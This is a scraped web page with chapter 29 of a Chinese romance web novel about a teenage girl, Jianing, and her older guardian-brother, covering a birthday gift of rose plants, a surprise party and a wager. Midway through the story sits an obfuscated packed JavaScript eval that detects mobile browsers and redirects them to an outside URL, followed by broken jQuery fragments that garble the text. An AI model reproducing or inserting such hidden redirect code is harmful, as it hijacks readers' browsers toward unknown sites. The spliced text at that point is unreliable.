29. 第 29 章

作品:《偷吻光明

    天色渐沉,落日余晖成了暗金的光,拓在水泥筑成的道路上。


    行人不多也不少,街道依然喧嚣,两人静静地走。


    路过一辆电动三轮车,车上放着两盆月季,头发花白的老人家在和路人交涉。


    “最后两盆,给你算便宜点,拿了我就收摊了!”


    “你这个拿回去不一定养得活嘛!”


    “我这个十年的老苗了,你在哪里都买不到这个价格。”


    “你品种都不认识。”


    “给你看了照片的嘛,包对版的嘛。”


    “算了算了!”路人挥挥手,最后还是放弃了。


    嘉宁回头看一眼,又看一眼,停下脚步。


    阮嘉遇跟着她停下:“怎么了?”


    嘉宁笑了下:“哥,我能向你要个生日礼物吗?”


    阮嘉遇微微偏头,唇角一挑:“当然,我不懂你们年轻人的喜好,你自己挑当然更好。”


    嘉宁掉头回去,走到小车前:“老板,这两盆怎么卖的?”


    老人家忙说:“一株20,两株35,10年老苗,我卖完就收摊回家了。”


    嘉宁弯腰,捏了捏塑料袋里裹着的泥。


    “从地里挖出来的,你看这个根系……”老人家伸出手,把塑料口袋撕开,“好得很,你回去直接栽地里,包活的,这个花命贱得很!”


    阮嘉遇端着胳膊,往下扫视两盆绿油油的植物:“月季在露天地里好养,在阳台上难养,这个天气,怕是无法度夏。”


    这是给嘉宁的建议。


    老人家抢着说:“保证通风和阳光一样好养,我这个根系好嘛,不要暴晒,好度夏。”


    嘉宁问:“什么品种?它有名字吗?”


    “哎哟,记不得了,月季的品种多得数都数不清,但是这个开红色花,就跟店里10元一朵的一模一样,这个开紫色花,都好看的嘞!”老人家拿出手机,翻出照片给两人看。


    嘉宁转头问阮嘉遇:“哥,你能认出品种吗?”


    “蓝色风暴。”阮嘉遇指了下紫色的,再瞧红色的,眯眼细瞧,摸着下巴想了下,“这个应该是高原红。”


    “先生懂花的嘛!”


    阮嘉遇谦虚道:“懂点皮毛。”


    嘉宁笑说:“名字好听。”


    “你想要?”


    嘉宁点点头:“家里的两盆月季已经枯死很久了,该养新的了。”


    平平无奇一句话,却听得阮嘉遇心里猛烈颤动,抿唇片刻,收起情绪问:“这就是你想要的礼物?”


    “可以吗?”


    阮嘉遇这辈子没送过那么廉价的礼物,他爽快地扫码付了款。


    到家,阮嘉遇双手拧着植物,由嘉宁来开门。


    门开,“砰”的一声响。


    “啊!”


    毫无准备的嘉宁只有惊没有喜,一下钻进阮嘉遇怀里,耳边随即响起阿爸阿妈和周阿姨爽朗的笑声。


    男人的胸膛坚硬而滚烫,隔着一层薄布,她听见某种跳动的旋律,分不清楚来自哪里……她有一刻无法呼吸,但她就算无法呼吸,脑子也是清醒的。


    室内飘来清凉的风,走廊浮着潮热的气,一半清爽,一半闷滞,嘉宁陷在中间。


    头顶,阮嘉遇轻轻一笑,坦荡自然地拢着她的肩膀往里。


    大家都不以为意,她也只能跟着笑。


    可她的心,丝毫没被愉悦氛围感染,钝痛蔓延,成无形的手,揪着她无法喘息。


    眼眶瞬间就湿了。


    “就说让你们别这样搞了。”阮嘉遇先把两盆月季放进去,又来接嘉宁手里的蛋糕,垂眸一瞧,愣住一霎,微微俯身:“吓哭了?”


    嘉宁抿唇,眼泪滚落,视线里的男人潮湿又模糊,虚化成一片斑驳的色块。


    她隐约瞧见他抬起了手,却停在了半空,她看不见他的表情,只听见了滚动喉结的声音。


    嘉宁摇了摇头。


    考虑到她的出身和经历,对这样真情实感的“惊喜”理所当然会热泪盈眶,于是,无人疑心。


    阮嘉遇递来纸巾,若无其事地将她揽进怀,作为兄长拍了拍她的背:“好了,别哭了。”


    嘉宁擦掉眼泪。


    热热闹闹的饱餐后,阮嘉遇开车送大家回巧梨沟,晚10点,嘉宁听见开门声、关门声,又等了会儿,拿上练习册去找他。


    “这个点还学习啊?”


    阮嘉遇刚洗完澡,穿着白T恤和浅灰色的休闲裤,周身尚还氤氲着清香湿热的水汽,毛绒质感的雪白浴巾挂在脖子上,湿哒哒的头发凌乱而慵懒,他抬手,神色松弛地揉了揉后颈。


    “上进是好事,但也要劳逸结合。”


    “才10点半。”嘉宁说,“平时这个时候也才下晚自习而已。”


    "太卷了。"阮嘉遇翻开她的练习册,一边看题一边说,“我读书那会儿,这个点已经睡了,你们这样繁重的学习任务,还怎么长身体?”


    “十七八岁还长什么身体?”嘉宁乖巧地站在他身边,垂眸看他捏着签字笔的手。


    ——淡淡的小麦色,因为洗过澡,所以泛着红,骨节嶙峋、脉络鲜明,是岁月沉淀下来的力量感,无端让人觉得可靠、踏实。


    那条盘踞在无名指的白色印记,已经彻底消失。


    “只能横着长了。”她又说。


    阮嘉遇抬眸看她一眼,笑了笑:“横着长也是个小美女,怕什么?”


    “真的吗?”嘉宁忙问。


    “嗯?”阮嘉遇挑了下眉。


    嘉宁低下头,嘀咕道:“比我好看的太多了,我不是校花,连班花都不是。”


    “……”这话,阮嘉遇实在不知道怎么接,笔头敲了敲书页,才说,“不过一群没长清醒的少男少女,哪懂什么美丑?”


    “你瞧宋时清,不就很有眼光!”


    嘉宁笑容一收,直直盯着他。


    阮嘉遇忙说:“好了好了,我知道,我不说他了。”


    他继续看题,没话找话:“你明年再拿题问我,我就该不会了,这真是高中要学的?我怎么觉得像高数?”


    嘉宁一直没接话。


    讲完题,嘉宁收拾东西准备离开,阮嘉遇叫住她。


    “还有什么事?”小丫头带着气。


    阮嘉遇也觉得亏心,反复提起她不想聊的人和话题,可他别无办法:“你找个时间,收拾一下衣柜,搬来主卧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684161|171068||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “什么?”嘉宁瞪大双眼。


    “你睡主卧,我睡次卧。”阮嘉遇补充道,“主卧有独立卫生间,更方便。”


    十七八岁……还能怎么长?


    原本清瘦干瘪的小丫头,从头发丝到脚尖都在发生变化。


    “还有这个……”阮嘉遇拉开抽屉,拿出一只简单包装的小盒,“虽然你说两盆月季就够了,但买都买了,拿去吧。”


    嘉宁毫不客气地拿起来,打开看。


    ——一枚胸针。


    是好看的,也是昂贵的。


    她“啪”的一声扣上盖子,放到桌上,推还给他:“我不要,我拿来没用,哪个学生别胸针?别学生证就够麻烦了!”


    阮嘉遇喉中一噎,皱眉说:“你不要那就没人要了。”


    嘉宁口吻坚定:“没人要就退了,我已经收过礼物了。”


    阮嘉遇抬手摁了下眉心:“别闹,两盆月季算是什么礼物。”


    “怎么不算!”嘉宁脱口而出,睫毛垂下拧眉一想,又说,“……那,你送我另一份礼物吧?”


    静了会儿,阮嘉遇神情微妙,声音警惕而缓沉:“你想要什么?”


    “那盆红的,你帮我养,明年这个时候,若是它枯萎了,你无条件满足我一个愿望,若是它开出了花,你把花送我,就算是给我的18岁礼物。”


    阮嘉遇浅眨了下眼,抿住唇,仰头望她:“嘉宁……”


    “答应吗?这个礼物是有点麻烦,赌得也很大。”嘉宁打断他的话,硬梆梆地出声,“但我从山里离开,是连命也堵上了……”


    “好。”换阮嘉遇听不下去,急切地应下来,“我答应你。”


    “谢谢哥。”嘉宁心满意足吸吸鼻子,拿着练习册,走了。


    -


    按照阮嘉遇的建议,嘉宁第二天搬去了主卧,主卧比次卧大了一半空间,没有衣柜,但有个衣帽间。


    阮嘉遇没有留下任何物件,一丝不苟全部挪去次卧,单是衣服就把柜子挤得满满当当,而嘉宁的衣物放进衣帽间,又显得十分空荡。


    “其实你不用把衣服全部收走,我也没几件衣服。”


    阮嘉遇一边整理,一边说:“你现在学习累,没时间去购物而已,等以后,慢慢的,你就该嫌弃衣帽间太小了。”


    “真到了那一天……”


    这话戛然而止,阮嘉遇转眸看她:“怎么了?”


    “不会有那一天。”嘉宁说。


    阮嘉遇收回视线,无奈一笑:“你们年轻人的心思,我是越来越不懂了。”


    “不懂就算了,也没指望你懂。”嘉宁心情烦闷,瓮声嘟哝。


    这声音细弱,一股脑过去了,阮嘉遇抬了下头:“你刚才说了什么?”


    嘉宁淡淡的目光瞄着他,胡乱搪塞:“我说你还不老。”


    阮嘉遇轻轻地“嗯”了声,又说:“但也不年轻了。”


    这是他们第几次谈到这个问题?谈不下去,索性不谈了,嘉宁走过去帮忙。


    “我自己收拾就行,你去学习吧。”


    “不是说要劳逸结合?”


    小孩子到叛逆期了?他说什么她都能怼过来,阮嘉遇无话可说,只能顺着她来。